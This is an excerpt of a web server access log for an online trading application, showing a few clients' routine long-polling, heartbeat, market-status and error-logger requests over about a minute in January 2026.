[09/Jan/2026:10:38:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:38:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926551511 HTTP/1.1" -
[09/Jan/2026:10:38:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926555889 HTTP/1.1" -
[09/Jan/2026:10:38:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926568522 HTTP/1.1" -
[09/Jan/2026:10:38:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926554056 HTTP/1.1" -
[09/Jan/2026:10:38:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926556552 HTTP/1.1" -
[09/Jan/2026:10:38:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:38:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:38:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926561010 HTTP/1.1" -
[09/Jan/2026:10:38:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926573541 HTTP/1.1" -
[09/Jan/2026:10:38:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926560046 HTTP/1.1" -
[09/Jan/2026:10:38:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926561585 HTTP/1.1" -
[09/Jan/2026:10:38:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926566068 HTTP/1.1" -
[09/Jan/2026:10:38:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926578603 HTTP/1.1" -
[09/Jan/2026:10:38:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:38:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926566629 HTTP/1.1" -
[09/Jan/2026:10:38:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926566046 HTTP/1.1" -
[09/Jan/2026:10:38:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926571254 HTTP/1.1" -
[09/Jan/2026:10:38:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926583673 HTTP/1.1" -
[09/Jan/2026:10:38:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926571644 HTTP/1.1" -
[09/Jan/2026:10:38:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926572060 HTTP/1.1" -
[09/Jan/2026:10:38:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926576392 HTTP/1.1" -
[09/Jan/2026:10:38:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:38:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926588729 HTTP/1.1" -
[09/Jan/2026:10:38:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926576678 HTTP/1.1" -
[09/Jan/2026:10:38:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926578060 HTTP/1.1" -
[09/Jan/2026:10:38:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926581521 HTTP/1.1" -
[09/Jan/2026:10:38:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:38:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926593800 HTTP/1.1" -
[09/Jan/2026:10:38:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:38:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:38:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:38:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926581704 HTTP/1.1" -
[09/Jan/2026:10:38:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926584064 HTTP/1.1" -
[09/Jan/2026:10:38:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926586674 HTTP/1.1" -
[09/Jan/2026:10:38:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926598854 HTTP/1.1" -
[09/Jan/2026:10:38:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926586732 HTTP/1.1" -
[09/Jan/2026:10:38:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:38:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:38:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926591891 HTTP/1.1" -
[09/Jan/2026:10:38:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926603883 HTTP/1.1" -
[09/Jan/2026:10:38:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926590047 HTTP/1.1" -
[09/Jan/2026:10:38:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926591766 HTTP/1.1" -
[09/Jan/2026:10:38:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926608938 HTTP/1.1" -
[09/Jan/2026:10:38:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926596939 HTTP/1.1" -
[09/Jan/2026:10:38:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:38:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926596067 HTTP/1.1" -
[09/Jan/2026:10:38:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926596786 HTTP/1.1" -
[09/Jan/2026:10:38:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926614001 HTTP/1.1" -
[09/Jan/2026:10:38:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926602092 HTTP/1.1" -
[09/Jan/2026:10:38:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926601807 HTTP/1.1" -
[09/Jan/2026:10:38:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926602064 HTTP/1.1" -
[09/Jan/2026:10:38:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:38:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:38:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926619065 HTTP/1.1" -
[09/Jan/2026:10:38:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926607280 HTTP/1.1" -
[09/Jan/2026:10:38:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926606842 HTTP/1.1" -
[09/Jan/2026:10:38:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926608061 HTTP/1.1" -
[09/Jan/2026:10:39:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926624126 HTTP/1.1" -
[09/Jan/2026:10:39:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:39:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:39:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926612421 HTTP/1.1" -
[09/Jan/2026:10:39:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926611876 HTTP/1.1" -
[09/Jan/2026:10:39:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926629192 HTTP/1.1" -
[09/Jan/2026:10:39:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926614062 HTTP/1.1" -
[09/Jan/2026:10:39:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926617557 HTTP/1.1" -
[09/Jan/2026:10:39:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926616918 HTTP/1.1" -
[09/Jan/2026:10:39:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:39:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:39:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926634226 HTTP/1.1" -
[09/Jan/2026:10:39:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926622706 HTTP/1.1" -
[09/Jan/2026:10:39:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926620059 HTTP/1.1" -
[09/Jan/2026:10:39:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926621959 HTTP/1.1" -
[09/Jan/2026:10:39:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926639286 HTTP/1.1" -
[09/Jan/2026:10:39:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767926627808 HTTP/1.1" -
[09/Jan/2026:10:39:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:39:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
